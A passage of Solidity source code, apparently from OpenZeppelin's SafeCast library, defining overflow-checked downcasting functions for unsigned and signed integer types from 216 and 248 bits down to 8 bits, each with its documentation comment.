*\r\n * - input must fit into 216 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint216(uint256 value) internal pure returns (uint216) {\r\n require(\r\n value \u003c= type(uint216).max,\r\n \"SafeCast: value doesn\u0027t fit in 216 bits\"\r\n );\r\n return uint216(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint208 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint208).\r\n *\r\n * Counterpart to Solidity\u0027s `uint208` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 208 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint208(uint256 value) internal pure returns (uint208) {\r\n require(\r\n value \u003c= type(uint208).max,\r\n \"SafeCast: value doesn\u0027t fit in 208 bits\"\r\n );\r\n return uint208(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint200 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint200).\r\n *\r\n * Counterpart to Solidity\u0027s `uint200` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 200 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint200(uint256 value) internal pure returns (uint200) {\r\n require(\r\n value \u003c= type(uint200).max,\r\n \"SafeCast: value doesn\u0027t fit in 200 bits\"\r\n );\r\n return uint200(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint192 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint192).\r\n *\r\n * Counterpart to Solidity\u0027s `uint192` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 192 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint192(uint256 value) internal pure returns (uint192) {\r\n require(\r\n value \u003c= type(uint192).max,\r\n \"SafeCast: value doesn\u0027t fit in 192 bits\"\r\n );\r\n return uint192(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint184 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint184).\r\n *\r\n * Counterpart to Solidity\u0027s `uint184` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 184 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint184(uint256 value) internal pure returns (uint184) {\r\n require(\r\n value \u003c= type(uint184).max,\r\n \"SafeCast: value doesn\u0027t fit in 184 bits\"\r\n );\r\n return uint184(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint176 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint176).\r\n *\r\n * Counterpart to Solidity\u0027s `uint176` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 176 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint176(uint256 value) internal pure returns (uint176) {\r\n require(\r\n value \u003c= type(uint176).max,\r\n \"SafeCast: value doesn\u0027t fit in 176 bits\"\r\n );\r\n return uint176(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint168 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint168).\r\n *\r\n * Counterpart to Solidity\u0027s `uint168` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 168 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint168(uint256 value) internal pure returns (uint168) {\r\n require(\r\n value \u003c= type(uint168).max,\r\n \"SafeCast: value doesn\u0027t fit in 168 bits\"\r\n );\r\n return uint168(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint160 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint160).\r\n *\r\n * Counterpart to Solidity\u0027s `uint160` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 160 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint160(uint256 value) internal pure returns (uint160) {\r\n require(\r\n value \u003c= type(uint160).max,\r\n \"SafeCast: value doesn\u0027t fit in 160 bits\"\r\n );\r\n return uint160(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint152 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint152).\r\n *\r\n * Counterpart to Solidity\u0027s `uint152` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 152 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint152(uint256 value) internal pure returns (uint152) {\r\n require(\r\n value \u003c= type(uint152).max,\r\n \"SafeCast: value doesn\u0027t fit in 152 bits\"\r\n );\r\n return uint152(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint144 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint144).\r\n *\r\n * Counterpart to Solidity\u0027s `uint144` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 144 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint144(uint256 value) internal pure returns (uint144) {\r\n require(\r\n value \u003c= type(uint144).max,\r\n \"SafeCast: value doesn\u0027t fit in 144 bits\"\r\n );\r\n return uint144(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint136 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint136).\r\n *\r\n * Counterpart to Solidity\u0027s `uint136` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 136 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint136(uint256 value) internal pure returns (uint136) {\r\n require(\r\n value \u003c= type(uint136).max,\r\n \"SafeCast: value doesn\u0027t fit in 136 bits\"\r\n );\r\n return uint136(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint128 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint128).\r\n *\r\n * Counterpart to Solidity\u0027s `uint128` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 128 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint128(uint256 value) internal pure returns (uint128) {\r\n require(\r\n value \u003c= type(uint128).max,\r\n \"SafeCast: value doesn\u0027t fit in 128 bits\"\r\n );\r\n return uint128(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint120 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint120).\r\n *\r\n * Counterpart to Solidity\u0027s `uint120` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 120 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint120(uint256 value) internal pure returns (uint120) {\r\n require(\r\n value \u003c= type(uint120).max,\r\n \"SafeCast: value doesn\u0027t fit in 120 bits\"\r\n );\r\n return uint120(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint112 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint112).\r\n *\r\n * Counterpart to Solidity\u0027s `uint112` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 112 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint112(uint256 value) internal pure returns (uint112) {\r\n require(\r\n value \u003c= type(uint112).max,\r\n \"SafeCast: value doesn\u0027t fit in 112 bits\"\r\n );\r\n return uint112(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint104 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint104).\r\n *\r\n * Counterpart to Solidity\u0027s `uint104` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 104 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint104(uint256 value) internal pure returns (uint104) {\r\n require(\r\n value \u003c= type(uint104).max,\r\n \"SafeCast: value doesn\u0027t fit in 104 bits\"\r\n );\r\n return uint104(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint96 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint96).\r\n *\r\n * Counterpart to Solidity\u0027s `uint96` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 96 bits\r\n *\r\n * _Available since v4.2._\r\n */\r\n function toUint96(uint256 value) internal pure returns (uint96) {\r\n require(\r\n value \u003c= type(uint96).max,\r\n \"SafeCast: value doesn\u0027t fit in 96 bits\"\r\n );\r\n return uint96(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint88 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint88).\r\n *\r\n * Counterpart to Solidity\u0027s `uint88` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 88 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint88(uint256 value) internal pure returns (uint88) {\r\n require(\r\n value \u003c= type(uint88).max,\r\n \"SafeCast: value doesn\u0027t fit in 88 bits\"\r\n );\r\n return uint88(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint80 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint80).\r\n *\r\n * Counterpart to Solidity\u0027s `uint80` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 80 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint80(uint256 value) internal pure returns (uint80) {\r\n require(\r\n value \u003c= type(uint80).max,\r\n \"SafeCast: value doesn\u0027t fit in 80 bits\"\r\n );\r\n return uint80(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint72 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint72).\r\n *\r\n * Counterpart to Solidity\u0027s `uint72` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 72 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint72(uint256 value) internal pure returns (uint72) {\r\n require(\r\n value \u003c= type(uint72).max,\r\n \"SafeCast: value doesn\u0027t fit in 72 bits\"\r\n );\r\n return uint72(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint64 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint64).\r\n *\r\n * Counterpart to Solidity\u0027s `uint64` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 64 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint64(uint256 value) internal pure returns (uint64) {\r\n require(\r\n value \u003c= type(uint64).max,\r\n \"SafeCast: value doesn\u0027t fit in 64 bits\"\r\n );\r\n return uint64(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint56 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint56).\r\n *\r\n * Counterpart to Solidity\u0027s `uint56` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 56 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint56(uint256 value) internal pure returns (uint56) {\r\n require(\r\n value \u003c= type(uint56).max,\r\n \"SafeCast: value doesn\u0027t fit in 56 bits\"\r\n );\r\n return uint56(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint48 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint48).\r\n *\r\n * Counterpart to Solidity\u0027s `uint48` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 48 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint48(uint256 value) internal pure returns (uint48) {\r\n require(\r\n value \u003c= type(uint48).max,\r\n \"SafeCast: value doesn\u0027t fit in 48 bits\"\r\n );\r\n return uint48(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint40 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint40).\r\n *\r\n * Counterpart to Solidity\u0027s `uint40` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 40 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint40(uint256 value) internal pure returns (uint40) {\r\n require(\r\n value \u003c= type(uint40).max,\r\n \"SafeCast: value doesn\u0027t fit in 40 bits\"\r\n );\r\n return uint40(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint32 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint32).\r\n *\r\n * Counterpart to Solidity\u0027s `uint32` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 32 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint32(uint256 value) internal pure returns (uint32) {\r\n require(\r\n value \u003c= type(uint32).max,\r\n \"SafeCast: value doesn\u0027t fit in 32 bits\"\r\n );\r\n return uint32(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint24 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint24).\r\n *\r\n * Counterpart to Solidity\u0027s `uint24` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 24 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint24(uint256 value) internal pure returns (uint24) {\r\n require(\r\n value \u003c= type(uint24).max,\r\n \"SafeCast: value doesn\u0027t fit in 24 bits\"\r\n );\r\n return uint24(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint16 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint16).\r\n *\r\n * Counterpart to Solidity\u0027s `uint16` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 16 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint16(uint256 value) internal pure returns (uint16) {\r\n require(\r\n value \u003c= type(uint16).max,\r\n \"SafeCast: value doesn\u0027t fit in 16 bits\"\r\n );\r\n return uint16(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint8 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint8).\r\n *\r\n * Counterpart to Solidity\u0027s `uint8` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 8 bits\r\n *\r\n * _Available since v2.5._\r\n */\r\n function toUint8(uint256 value) internal pure returns (uint8) {\r\n require(\r\n value \u003c= type(uint8).max,\r\n \"SafeCast: value doesn\u0027t fit in 8 bits\"\r\n );\r\n return uint8(value);\r\n }\r\n\r\n /**\r\n * @dev Converts a signed int256 into an unsigned uint256.\r\n *\r\n * Requirements:\r\n *\r\n * - input must be greater than or equal to 0.\r\n *\r\n * _Available since v3.0._\r\n */\r\n function toUint256(int256 value) internal pure returns (uint256) {\r\n require(value \u003e= 0, \"SafeCast: value must be positive\");\r\n return uint256(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int248 from int256, reverting on\r\n * overflow (when the input is less than smallest int248 or\r\n * greater than largest int248).\r\n *\r\n * Counterpart to Solidity\u0027s `int248` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 248 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\r\n downcasted = int248(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 248 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int240 from int256, reverting on\r\n * overflow (when the input is less than smallest int240 or\r\n * greater than largest int240).\r\n *\r\n * Counterpart to Solidity\u0027s `int240` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 240 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\r\n downcasted = int240(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 240 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int232 from int256, reverting on\r\n * overflow (when the input is less than smallest int232 or\r\n * greater than largest int232).\r\n *\r\n * Counterpart to Solidity\u0027s `int232` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 232 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\r\n downcasted = int232(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 232 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int224 from int256, reverting on\r\n * overflow (when the input is less than smallest int224 or\r\n * greater than largest int224).\r\n *\r\n * Counterpart to Solidity\u0027s `int224` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 224 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\r\n downcasted = int224(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 224 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int216 from int256, reverting on\r\n * overflow (when the input is less than smallest int216 or\r\n * greater than largest int216).\r\n *\r\n * Counterpart to Solidity\u0027s `int216` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 216 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\r\n downcasted = int216(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 216 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int208 from int256, reverting on\r\n * overflow (when the input is less than smallest int208 or\r\n * greater than largest int208).\r\n *\r\n * Counterpart to Solidity\u0027s `int208` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 208 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\r\n downcasted = int208(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 208 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int200 from int256, reverting on\r\n * overflow (when the input is less than smallest int200 or\r\n * greater than largest int200).\r\n *\r\n * Counterpart to Solidity\u0027s `int200` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 200 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\r\n downcasted = int200(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 200 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int192 from int256, reverting on\r\n * overflow (when the input is less than smallest int192 or\r\n * greater than largest int192).\r\n *\r\n * Counterpart to Solidity\u0027s `int192` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 192 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\r\n downcasted = int192(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 192 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int184 from int256, reverting on\r\n * overflow (when the input is less than smallest int184 or\r\n * greater than largest int184).\r\n *\r\n * Counterpart to Solidity\u0027s `int184` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 184 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\r\n downcasted = int184(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 184 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int176 from int256, reverting on\r\n * overflow (when the input is less than smallest int176 or\r\n * greater than largest int176).\r\n *\r\n * Counterpart to Solidity\u0027s `int176` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 176 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\r\n downcasted = int176(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 176 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int168 from int256, reverting on\r\n * overflow (when the input is less than smallest int168 or\r\n * greater than largest int168).\r\n *\r\n * Counterpart to Solidity\u0027s `int168` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 168 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\r\n downcasted = int168(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 168 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int160 from int256, reverting on\r\n * overflow (when the input is less than smallest int160 or\r\n * greater than largest int160).\r\n *\r\n * Counterpart to Solidity\u0027s `int160` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 160 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\r\n downcasted = int160(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 160 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int152 from int256, reverting on\r\n * overflow (when the input is less than smallest int152 or\r\n * greater than largest int152).\r\n *\r\n * Counterpart to Solidity\u0027s `int152` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 152 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\r\n downcasted = int152(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 152 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int144 from int256, reverting on\r\n * overflow (when the input is less than smallest int144 or\r\n * greater than largest int144).\r\n *\r\n * Counterpart to Solidity\u0027s `int144` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 144 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\r\n downcasted = int144(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 144 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int136 from int256, reverting on\r\n * overflow (when the input is less than smallest int136 or\r\n * greater than largest int136).\r\n *\r\n * Counterpart to Solidity\u0027s `int136` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 136 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\r\n downcasted = int136(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 136 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int128 from int256, reverting on\r\n * overflow (when the input is less than smallest int128 or\r\n * greater than largest int128).\r\n *\r\n * Counterpart to Solidity\u0027s `int128` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 128 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\r\n downcasted = int128(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 128 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int120 from int256, reverting on\r\n * overflow (when the input is less than smallest int120 or\r\n * greater than largest int120).\r\n *\r\n * Counterpart to Solidity\u0027s `int120` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 120 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\r\n downcasted = int120(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 120 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int112 from int256, reverting on\r\n * overflow (when the input is less than smallest int112 or\r\n * greater than largest int112).\r\n *\r\n * Counterpart to Solidity\u0027s `int112` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 112 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\r\n downcasted = int112(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 112 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int104 from int256, reverting on\r\n * overflow (when the input is less than smallest int104 or\r\n * greater than largest int104).\r\n *\r\n * Counterpart to Solidity\u0027s `int104` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 104 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\r\n downcasted = int104(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 104 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int96 from int256, reverting on\r\n * overflow (when the input is less than smallest int96 or\r\n * greater than largest int96).\r\n *\r\n * Counterpart to Solidity\u0027s `int96` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 96 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\r\n downcasted = int96(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 96 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int88 from int256, reverting on\r\n * overflow (when the input is less than smallest int88 or\r\n * greater than largest int88).\r\n *\r\n * Counterpart to Solidity\u0027s `int88` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 88 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\r\n downcasted = int88(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 88 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int80 from int256, reverting on\r\n * overflow (when the input is less than smallest int80 or\r\n * greater than largest int80).\r\n *\r\n * Counterpart to Solidity\u0027s `int80` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 80 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\r\n downcasted = int80(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 80 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int72 from int256, reverting on\r\n * overflow (when the input is less than smallest int72 or\r\n * greater than largest int72).\r\n *\r\n * Counterpart to Solidity\u0027s `int72` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 72 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\r\n downcasted = int72(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 72 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int64 from int256, reverting on\r\n * overflow (when the input is less than smallest int64 or\r\n * greater than largest int64).\r\n *\r\n * Counterpart to Solidity\u0027s `int64` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 64 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\r\n downcasted = int64(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 64 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int56 from int256, reverting on\r\n * overflow (when the input is less than smallest int56 or\r\n * greater than largest int56).\r\n *\r\n * Counterpart to Solidity\u0027s `int56` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 56 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\r\n downcasted = int56(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 56 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int48 from int256, reverting on\r\n * overflow (when the input is less than smallest int48 or\r\n * greater than largest int48).\r\n *\r\n * Counterpart to Solidity\u0027s `int48` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 48 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\r\n downcasted = int48(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 48 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int40 from int256, reverting on\r\n * overflow (when the input is less than smallest int40 or\r\n * greater than largest int40).\r\n *\r\n * Counterpart to Solidity\u0027s `int40` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 40 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\r\n downcasted = int40(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 40 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int32 from int256, reverting on\r\n * overflow (when the input is less than smallest int32 or\r\n * greater than largest int32).\r\n *\r\n * Counterpart to Solidity\u0027s `int32` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 32 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\r\n downcasted = int32(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 32 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int24 from int256, reverting on\r\n * overflow (when the input is less than smallest int24 or\r\n * greater than largest int24).\r\n *\r\n * Counterpart to Solidity\u0027s `int24` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 24 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\r\n downcasted = int24(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 24 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int16 from int256, reverting on\r\n * overflow (when the input is less than smallest int16 or\r\n * greater than largest int16).\r\n *\r\n * Counterpart to Solidity\u0027s `int16` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 16 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\r\n downcasted = int16(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 16 bits\");\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted int8 from int256, reverting on\r\n * overflow (when the input is less than smallest int8 or\r\n * greater than largest int8).\r\n *\r\n * Counterpart to Solidity\u0027s `int8` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 8 bits\r\n *\r\n * _Available since v3.1._\r\n */\r\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\r\n downcasted = int8(value);\r\n require(downcasted == value, \"SafeCast: value doesn\u0027t fit in 8 bits\");\r\n }\r\n\r\n /**\r\n * @dev Converts an unsigned uint256 into a signed int256.\r\n *\r\n * Requirements:\r\n *\r\n * - input must be less than or equal to maxInt256.\r\n *\r\n * _Available since 